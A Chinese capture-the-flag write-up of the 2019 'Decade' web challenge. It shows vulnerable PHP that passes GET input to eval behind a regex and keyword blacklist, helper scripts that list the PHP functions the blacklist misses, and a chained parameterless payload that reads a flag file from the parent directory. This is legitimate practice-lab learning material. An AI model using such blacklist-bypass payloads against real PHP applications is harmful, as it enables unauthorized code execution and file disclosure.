[原题复现]2019上海大学生WEB-Decade(无参数RCE、Fuzz)
简介
原题复现:
考察知识点:无参数命令执行、Fuzz
线上平台:https://buuoj.cn(北京联合大学公开的CTF平台)
环境复现
代码
<?php highlight_file(__FILE__); $code = $_GET['code']; if (!empty($code)) { if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { echo 'bye~'; } else { eval($code); } } else { echo "No way!!!"; } }else { echo "No way!!!"; }
flag在上层目录的index.php中
审计分析
看看正则过滤
可以通过https://regex101.com/%60 测试正则 验证正则不限制什么
这块过滤了很多的php函数 可以采用下面方法来获得没被过滤的php内置函数
获取PHP内置函数脚本
<?php $a = get_defined_functions()['internal']; $file = fopen("function.txt","w+"); foreach ($a as $key ) { echo fputs($file,$key."\r\n"); } fclose($file); ?>
查找能使用的函数脚本
import re f = open('function.txt','r') for i in f: function = re.findall(r'/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/',i) if function == [] and not '_' in i: print(i)
方法一:条件竞争
构造payload
这道题flag在上层的目录下的index.php 所谓得跳到上层目录读取index.php 所以我们得先构造如何调到上册目录的payload 也就是scandir('..') 如何构造呢?可以使用uniqid()函数 它能够生成动态字符串,他的牵绊部分是固定的,后半部分是动态变化的 我们可以使用strrev()函数反转一下字符串 然后就可以使用插入函数动态的构造任意字符 不过它只能生成一个. 再加上scandir()函数就可以返回当前目录下的文件 如何让他里面有两个..呢?
scandir(strrev(uniqid()));
可以在linux特性中我们查看当前文件他会返回 . .. 文件A 所以我们要用next指定下一个也就是 ..可以构造后我们也就可以构造返回到上册目录了
scandir(next(scandir(strrev(uniqid())))));
如何将上册目录输出在页面 因为scandir()返回的是目录的数组,本来使用var_dump输出但是被过滤了 用echo输出不了 这时可以使用implode将数组元素组成为字符串用echo输出这样构造的payload
echo(implode(scandir(next(scandir(chr(strrev(uniqid())))))));
使用Null payloads进行读取
现在想办法读取index
readfile被过滤了。。。
if 也不行
可以使用file来读取 用end获取scandir返回的最后一个元素也就是index.php
我们先使用chdir跳转到上一层目录
payload
chdir(next(scandir(chr(strrev(uniqid())))));
然后使用file函数读取文件 用end取得最后一个元素然后用file读取
file(end(scandir(chr(strrev(uniqid())))))
结合起来最终payload
echo(implode(file(end(scandir(chr(strrev(uniqid(chdir(next(scandir(chr(strrev(uniqid())))))))))))));
这个payload缺陷就是 要两边都为. 才行 null payload 运气不好近9万次才得到。。。。
用到的php函数(部分)
uniqid() 生成唯一一个ID strrev() — 反转字符串 implode(separator,array)-把数组元素组成为字符串 separator-可选。规定数组元素之间放置的内容 默认"" array-必须,需要组合为字符串的数组 next()-函数将内部指针指向数组中的下一个元素,并输出。 chr() 函数从指定的 ASCII 值返回字符。 file() 函数把整个文件读入一个数组中。 end — 将数组的内部指针指向最后一个单元 chdir() — 改变目录
参考学习引用:https://xz.aliyun.com/t/6737
方法二:利用三角函数来计算
https://blog.csdn.net/qq_40884727/article/details/102924492
http://blog.sina.com.cn/s/blog_a661ecd501012xsr.html